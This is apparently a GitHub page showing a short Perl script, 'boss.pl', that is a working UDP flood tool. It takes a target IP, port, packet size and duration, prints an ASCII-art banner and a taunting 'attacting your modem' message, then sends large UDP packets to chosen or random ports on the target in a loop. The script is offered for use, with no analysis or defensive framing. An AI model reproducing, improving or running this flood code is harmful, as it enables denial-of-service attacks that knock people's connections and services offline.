-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathboss.pl
78 lines (66 loc) · 5.93 KB
/
boss.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/perl
#########
# Stone #
#########
use Socket;
use strict;
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Invalid Command $ip\n";
$endtime = time() + ($time ? $time : 1000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print <<EOTEXT;
::
.,
#@
##`
@###`
#### ``
@# .####: @:
: @#'+## #``
;#` ## `## @,
#@ .#+ ##: @#
,## @#@ @#@ @#,
@##+#. `#####
,#### ####;
+### @###
+### ###@
::. .;;`
``#@@@@@@@@@@@.`
`...........
############
##@@@@@@@@@@`
#@
@#########+#
@#
############
############
`
` ## ##,++@ #####.@####@.## ####@ #####.;#+### @####@ @####'
#+ ##,'#@.##.#+.##,+#@.## ##,##` ##.##@..##;. ##.'#@ ##,@#+
## ##,'#@.## ##.##.'#@.## ## ## : +# @#: ## '#@ ## @#+
## ##,'#@.## ##.##.'#@.## #+ ## + ##``` @#: ## '#@ ## @#+
## ##,'#@.## ##.##.'#@.## ## '.,,':,, ###, @#: ## '#@ ## @#+
## ##,'#@.## ##.##;'#@.## ## ##,'''' #+@ ##: `+####@ ##`##+
## ##,'#@.## ##.####+;.## ## #@#''' ## @#@ ##: @#####@ ####@`
## ##,'#@.## ##.##.'# .+# ## ##.+;'.+# @#@ ##: ## '#@ ## @#
## ##,+#@.## ##.##.'#@.## ## ##, '`## @#@ ##: ## '#@ ## @#'
##`##,'#@.#@ ##.##.'#@.## ## ##` ' ;# @#@ ##: ## '#@ ## @#'
##+#####@,####+`##,'#@.#### ##### .`#####@ @#: +# '#@ ## @#+
..`````.`....` ` '#@`.,` ....` ..... @#+
` '#@ , ` ' ` ` ` # @#+
'#@ : ` ;;` ` ` # #:: @#+
+@# ` , ` ` ` @+ # @@'
`
EOTEXT
print "~DISCONNECTING~ $ip " . ($port ? $port : "on random ports") . "
I just dropped a connection with " .
($size ? "$size-bytes" : "a random packetsize") . "
Stoner is attacting your modem " .
($time ? " for $time seconds" : "") . "\n";
print "To stop the attack type Ctrl-C\n" unless $time;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1500000-64)+64) ;
$pport = $port ? $port : int(rand(65000))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
$iaddr));}